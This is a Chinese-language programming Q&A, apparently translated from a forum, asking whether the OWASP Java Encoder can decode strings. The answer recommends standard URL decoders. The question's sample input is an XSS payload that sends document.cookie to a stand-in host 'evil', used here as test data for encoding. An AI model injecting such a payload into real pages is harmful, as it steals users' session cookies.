javascript - OWASP Java Encoder 有解码功能吗？

Question

我使用 OWASP 编码器的 forURIComponent 方法对下面的查询字符串进行了编码。

String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";

String encodedQuery = Encode.forUriComponent(query);

现在我需要对 encodedQuery 进行解码，解码后的字符串应该与原始查询完全相同。我该怎么做？

Answer 1

我假设您在谈论 OWASP Java Encoder .据我所知，它不提供任何解码功能。

但是，由于 Encode.forUriComponent() 方法实现了标准 URL percent encoding ，您可以使用任何正确实现的 URL 解码函数对其进行解码。例如在 Java 中，根据 the answers to this question , 你可以使用 java.net.URLDecoder .

在 JavaScript 中，decodeURIComponent()应该做的伎俩。但是，如果您需要解析包含(可能)多个参数的 URI，您可能会发现 URL类(或 URLSearchParams )使用起来更方便。